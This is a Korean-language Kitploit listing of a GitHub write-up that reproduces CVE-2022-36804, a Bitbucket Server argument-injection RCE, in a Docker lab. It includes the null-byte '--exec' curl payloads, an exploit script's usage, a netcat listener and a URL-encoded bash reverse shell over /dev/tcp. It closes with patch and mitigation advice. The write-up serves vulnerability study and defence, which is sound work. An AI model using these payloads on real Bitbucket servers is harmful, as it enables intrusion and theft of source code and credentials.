Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804(Bitbucket RCE)의 전체 체인 재현. Docker 컨테이너 기반 실험실, null 바이트 주입 검증을 위한 pspy64 모니터링, 그리고 커스텀 Bash 익스플로잇 스크립트를 포함합니다. Assetnote 연구를 기반으로 합니다.

저장소 보기
5개월 전아직 검토되지 않음

CVE-2022-36804: Bitbucket 원격 명령 실행 (RCE)

널 바이트 인자 주입(Argument Injection)의 기술적 분석 및 실험실 악용

취약점 요약

CVE-2022-36804은 Atlassian Bitbucket Server 및 Data Center의 REST API 내에 존재하는 높음/치명적 수준의 인자 주입(Argument Injection) 취약점입니다.

공식 NVD(National Vulnerability Database) 기본 점수는 읽기 권한 필요(PR:L)를 가정한 8.8(High) 이지만, 본 분석에서는 이를 9.8(Critical) 결함(PR:N)으로 간주합니다. 대상 저장소에 공개 액세스가 활성화되어 있는 경우(일반적인 구성), 공격 벡터는 완전히 인증 전(pre-authenticated) 상태가 됩니다.

이 저장소는 Assetnote가 발표한 기술 연구를 직접 기반으로 한 전체 체인(full-chain) 실험실 재현을 문서화합니다.

본 분석은 환경 오케스트레이션과 보안 필터 우회에서 대화형 리버스 셸 획득에 이르는 과정을 상세히 다룹니다. 원래 발견 내용에서 지적된 바와 같이, 이 결함은 원격 명령 실행(RCE) 을 허용하며, 대상 저장소에 공개 액세스가 활성화된 경우 인증 전에도 악용될 수 있습니다.

기술 심층 분석: 널 바이트 불일치

이 취약점은 Java 애플리케이션 런타임과 Linux 운영 체제 간의 "새니타이제이션 임피던스 불일치(Sanitization Impedance Mismatch)"에 뿌리를 두고 있습니다.

Assetnote의 연구에서 강조되었듯이, Bitbucket은 NuProcess 라이브러리를 사용하여 Git 명령을 구성하고 실행합니다. 사용자가 /archive 엔드포인트에 prefix 매개변수를 제공하면, Bitbucket은 인자 목록을 OS에 전달하기 전에 널 문자(%00)를 제거하지 못합니다.

  • Java의 관점: 입력을 널 바이트를 안전하게 포함하는 단일 문자열 객체로 취급합니다.
  • Linux 커널의 관점: C로 작성된 커널은 널 문자를 사용하여 문자열을 종료합니다. execve()가 명령을 처리하면 %00에서 문자열을 자릅니다. NuProcess가 데이터를 전달하는 방식 때문에, OS는 널 바이트 뒤의 모든 것을 완전히 새로운 명령줄 인자로 취급합니다.

--exec=...를 주입함으로써, 공격자는 의도된 --prefix 플래그에서 벗어나 git archive 프로세스가 임의의 바이너리를 실행하도록 강제하여 원격 명령 실행(RCE) 으로 이어집니다.

클릭하여 펼치기: 페이로드 구조 및 "배열 이동(Array Shift)"

익스플로잇이 단순한 URL 매개변수에서 OS 수준 명령으로 어떻게 전환되는지 이해하려면 페이로드의 구조를 해부하고 "배열 이동(Array Shift)"을 관찰해야 합니다.

1. 페이로드 분해

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

실험실 구성

현실적인 공격 표면을 시뮬레이션하기 위해, 실험실 환경은 Docker 브리지 네트워크(hacking_net) 내에서 격리된 이중 컨테이너 아키텍처를 활용합니다. 이 구성은 호스트 시스템에 영향을 주지 않고 통제된 환경에서 악용 및 모니터링을 수행할 수 있도록 보장합니다.

아키텍처 구성 요소

  • 피해자 노드: Atlassian Bitbucket Server 7.17.1 버전을 실행합니다. 컨테이너는 의도적으로 bitbucket-victim으로 명명되었습니다. 이는 Apache Tomcat의 RFC 7230 적용 준수를 위해 이루어진 중요한 설계 개선을 반영합니다. 밑줄 대신 하이픈을 사용함으로써, 페이로드 실행 중 발생하는 "잘못된 문자(Invalid Character)" 400 오류를 피할 수 있습니다—이는 연구 단계에서 식별되고 해결된 핵심 기술적 장애물입니다.

  • 공격자 노드: 맞춤형 Kali Linux 롤링 이미지입니다. 표준 이미지와 달리, 이 노드에는 이 악용 체인에 필요한 특정 도구 세트가 사전 설치되어 있습니다: 저장소 조작용 git, 페이로드 전달용 curl, 리버스 셸 캡처용 netcat-traditional.

docker-compose.yml (Tomcat RFC 준수 버전)
root@kitploit:~
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

dockerfile (공격자 노드)
root@kitploit:~
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

실험실 검증 (빠른 경로)

이미 위에서 제공된 docker-compose.yml을 사용하여 환경을 프로비저닝했다면, 포함된 exploit.sh 스크립트를 사용하여 취약점을 검증하고 몇 초 만에 리버스 셸을 획득할 수 있습니다. 1. 리스너 준비

Kali 공격자 노드(또는 호스트 머신)에서 셸을 캡처할 netcat 리스너를 시작합니다:

root@kitploit:~
nc.traditional -lvnp 4444

2. 익스플로잇 실행

대상 Bitbucket IP, 프로젝트/저장소 이름 및 리스너 정보를 제공하여 스크립트를 실행합니다:

root@kitploit:~
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>

chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444

3. 액세스 확인

스크립트가 실행되면 netcat 터미널을 확인하세요. bitbucket 사용자로 대화형 세션을 획득했을 것입니다.

root@kitploit:~
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)

단계별 실행 및 문제 해결

다음은 실험실 세션의 원시 실행 로그로, 환경 설정부터 완전한 대화형 리버스 셸까지의 과정과 애플리케이션 로직 및 웹 서버 제약을 우회하는 데 필요한 문제 해결 단계를 상세히 설명합니다.

1단계: 프로비저닝 및 애플리케이션 설정

취약한 환경을 구동하고 대상 애플리케이션을 구성하는 것부터 시작했습니다.

  1. docker-compose up -d --build를 실행하여 Kali 공격자와 Bitbucket 피해자 컨테이너를 배포했습니다.
  2. http://localhost:7990으로 이동하여 Bitbucket 설정 루틴이 초기화되기를 기다렸습니다.
  3. 구성:
    • 데이터베이스: 빠른 배포를 위해 내장(Internal) 데이터베이스를 선택했습니다.
    • 라이선스: Server ID를 캡처하고 개인 Atlassian 계정으로 인증하여 30일 평가 라이선스를 생성했습니다.
    • 계정 보안: 기본 관리자 계정을 생성했습니다(추후 git 상호작용을 위해 자격 증명을 보관).
  4. 프로젝트 키 CVE로 새 프로젝트를 만들고 Repo1이라는 빈 저장소를 생성했습니다.
Bitbucket에서 프로젝트 생성 Bitbucket에서 저장소 생성
  1. 저장소 설정으로 이동하여 공개 액세스(Public Access) 가 활성화되었는지 확인했습니다. 이는 인증 전 악용 벡터의 전제 조건입니다.
공개 액세스 활성화

2단계: 트랩 설정 (화이트박스 모니터링)

블라인드 테스트에 의존하는 대신 실시간으로 주입을 검증하기 위해, pspy64를 배포하여 내부 Linux 프로세스를 모니터링하기로 결정했습니다.

  1. 공식 GitHub 저장소에서 pspy64 바이너리를 다운로드했습니다.
  2. 문제 해결: Windows Defender가 바이너리를 고위험 해킹 도구로 플래그하여 파일을 격리하려고 했습니다. Windows 보안 설정에서 위협을 수동으로 허용하여 이 특정 연구 컨텍스트에서 도구를 사실상 화이트리스트에 등록해야 했습니다.
  3. 내부 네트워크 필터를 우회하기 위해 Docker CLI를 사용하여 호스트에서 피해자 컨테이너로 바이너리를 전송했습니다:
root@kitploit:~
docker cp pspy64 bitbucket_victim:/tmp/pspy64

# Note that your container would be called bitbucker-victim if you clone this repo.
  1. 피해자 컨테이너에 루트 셸(-u 0)을 생성하고 실행 권한을 적용한 후 모니터를 시작했습니다:
root@kitploit:~
docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
pspy64 설정

3단계: 첫 번째 페이로드 시도 및 Tomcat의 게이트키퍼

공격자 노드(docker exec -it kali_attacker bash)로 전환하여 /tmp/pwned 파일 생성을 목표로 하는 초기 원격 명령 실행 페이로드를 발사했습니다.

root@kitploit:~
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
  • 장애물 1 (RFC 준수): 페이로드가 즉시 실패했습니다. Apache Tomcat이 호스트 이름의 _ 문자에 대한 오류를 반환했습니다.
Tomcat RFC 장애물
  • 해결책: Tomcat은 RFC 명명 규칙을 엄격히 적용합니다. 호스트 헤더 재정의(-H "Host: localhost")를 추가하여 페이로드가 웹 서버를 통해 Bitbucket 애플리케이션 계층에 도달하도록 강제했습니다.

4단계: 로직 우회 (빈 저장소)

호스트 헤더가 포함된 업데이트된 페이로드를 발사한 결과 새 오류가 발생했습니다: {"context":null,"message":"You are not permitted to access this resource","exceptionName":null}

빈 저장소 장애물
  • 장애물 2 (애플리케이션 로직): 공개 액세스가 활성화된 상태에서도 /archive 엔드포인트가 액세스를 거부했습니다. git archive는 빈 저장소에서는 작동할 수 없기 때문이라고 추론했습니다—파싱할 커밋 트리가 필요합니다.
  • 해결책: 저장소를 초기화했습니다. 짧은 README.md("This is a test repository for CVE-2022-36804")를 작성하고 Kali 컨테이너에서 푸시를 시도했습니다.
  • 장애물 3 (DNS 및 라우팅): 컨테이너 호스트 이름 bitbucket_victim에 금지된 밑줄이 포함되어 있어 Git 푸시가 실패했습니다. 이 밑줄이 계속 저를 괴롭히네요 - 교훈을 얻었습니다!
  • 해결책: Docker 네트워크를 조사하여 피해자의 로컬 IP(172.19.0.3)를 찾고 관리자 자격 증명으로 커밋을 푸시했습니다:
root@kitploit:~
git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this: 
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git

5단계: 인자 주입 검증

저장소가 초기화된 상태에서 호스트 헤더가 수정된 페이로드를 다시 발사했습니다:

root@kitploit:~
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"

성공. 모니터 터미널로 전환하여 "결정적 증거"를 관찰했습니다. pspy64가 Java 프로세스가 주입된 널 바이트 문자열을 Linux 커널에 전달하는 정확한 순간을 캡처했습니다. 기술 분석에서 예측한 대로, OS는 널 바이트 뒤의 모든 것을 새 인자로 취급했습니다.

pspy 및 수동 검증

이어서 컨테이너 내부에서 수동 확인을 수행하여 /tmp/pwned 파일이 실제로 bitbucket 사용자(UID 2003)에 의해 생성되었는지 확인했습니다.

6단계: 대화형 셸로의 승격

개념 증명(PoC)을 마무리하고 최대 영향을 입증하기 위해, 단순한 파일 생성에서 완전한 대화형 시스템 액세스 획득으로 전환했습니다.

  1. 새 Kali 터미널을 열고 들어오는 연결을 캡처하기 위해 netcat 리스너를 시작했습니다:
root@kitploit:~
nc.traditional -lvnp 4444
  1. hostname -I를 사용하여 Kali 컨테이너의 내부 IP를 확인하여 피해자가 셸을 보낼 위치를 알 수 있게 했습니다.

  2. 최종 페이로드를 실행했습니다. >, &, '와 같은 문자가 Tomcat의 HTTP 요청 파서를 우회하도록 URL 인코딩된 bash 리버스 셸을 사용했습니다:

root@kitploit:~
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
셸 탈취 페이로드

결과: 연결이 안정화되었습니다. bitbucket 서비스 사용자로 대화형 셸을 성공적으로 획득하여 완전한 서비스 손상이 성공했음을 입증했습니다.

셸 탈취 증명

아키텍처 영향 및 사후 악용

웹 애플리케이션과 기본 OS를 구분하는 것이 중요합니다. 이 리버스 셸은 서버 환경에 대한 액세스를 제공하지만, Bitbucket UI 내의 "관리자(Admin)" 권한은 아닙니다.

OS 수준 인자 주입으로서, 셸은 부모 프로세스의 권한을 상속합니다—이 경우 bitbucket 서비스 계정(UID 2003)입니다.

즉각적인 root 액세스는 아니지만, 영향은 여전히 치명적입니다:

  • 지적 재산 탈취: 인스턴스에 호스팅된 모든 저장소의 기본 Git 객체에 대한 무단 액세스로, 애플리케이션의 내부 역할 기반 액세스 제어(RBAC)를 효과적으로 우회합니다.

  • 자격 증명 수집: 내부 구성 파일 및 데이터베이스 비밀번호에 대한 액세스.

  • 피벗팅(Pivoting): 손상된 서버를 내부 네트워크 공격의 게이트웨이로 사용할 수 있습니다.

강화된 환경에서 이는 완전한 서비스 손상(Service Compromise) 입니다. 전체 호스트 제어를 위해서는 2차 권한 상승이 필요하지만, 조직의 지적 재산에 접근하는 기본 목표는 완전히 실현됩니다.

수정 및 완화

이 취약점으로부터 Bitbucket 인스턴스를 보호하기 위해, Atlassian은 prefix 매개변수에 대한 엄격한 검증을 구현하고 널 바이트 인자 분할을 방지하도록 프로세스 실행 로직을 업데이트하는 패치를 릴리스했습니다.

  • 공식 수정: Bitbucket Server 및 Data Center 버전 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1 또는 2022년 8월 이후 릴리스된 모든 버전으로 업그레이드하세요.

  • 즉시 완화: 즉각적인 업그레이드가 불가능한 경우, 모든 저장소에 대해 공개 액세스(Public Access)를 비활성화하세요. 이는 취약점을 제거하지는 않지만, 공격 표면을 인증되지 않은(Pre-Auth) 벡터에서 인증된 벡터로 전환하여 실행하려면 유효한 사용자 계정이 필요하게 됩니다.

기술 자료 및 크레딧

이 개념 증명은 다음 1차 자료와 실험실 도구의 연구를 종합하여 개발되었습니다:

1차 연구

  • Assetnote 연구: Bitbucket 깨기: 사전 인증 RCE (CVE-2022-36804) – 원래 발견 및 기술 분석.

  • 기술적 영감: Devcraft - Git 주입을 통한 GitHub RCE – Assetnote 발견에 영감을 준 Git 인자 주입 연구.

취약점 데이터

  • NVD 항목: CVE-2022-36804 공식 권고 – 국가 취약점 데이터베이스 기록 및 심각도 점수.

실험실 구성 요소

  • 취약한 이미지: Atlassian Bitbucket Server 7.17.1 – 이 재현에 사용된 특정 컨테이너 레이어.

  • 모니터링 도구: pspy (프로세스 모니터링 도구) – Linux 커널에서 인자 주입의 화이트박스 검증에 사용.


면책 조항: 이 프로젝트는 교육 목적과 윤리적 보안 연구를 위해서만 제작되었습니다. 대상 시스템의 무단 악용은 엄격히 금지됩니다.

도구 다운로드
컴포넌트목적기술적 역할
prefix=x요구 사항git archive에는 prefix가 필요합니다. x는 자리 표시자 역할을 합니다.
%00칼날널 바이트. Java는 전달하지만 C 기반 Linux 커널은 여기서 문자열을 종료합니다.
--exec=...RCE 트리거위험한 플래그. Git의 내장 기능을 남용하여 외부 프로그램을 실행합니다.
touch ...실행 동작실행될 명령. RCE를 검증하는 안전한 PoC입니다.
--remote=...쓰레기통Bitbucket이 추가하는 커밋 ID를 유효한 인자로 소비하여 명령이 문법 오류 없이 깨끗하게 실행되도록 보장합니다.

2. "배열 이동(Array Shift)" 시각화

이것은 취약점의 핵심, 즉 데이터(디렉터리 접두사)가 어떻게 명령(명령 플래그)으로 변환되는지를 보여줍니다.

Java 실행 컨텍스트(초기 상태):

Java는 단일 긴 문자열을 세 번째 인자로 봅니다.

root@kitploit:~
[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

Linux 커널 실행(악용된 상태):

커널의 execve() 시스템 호출은 모든 널 바이트(\0)에서 문자열을 분할하여, 주입된 플래그를 프로세스 인자 배열에서 각각 독립적인 위치로 이동시킵니다.

root@kitploit:~
[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]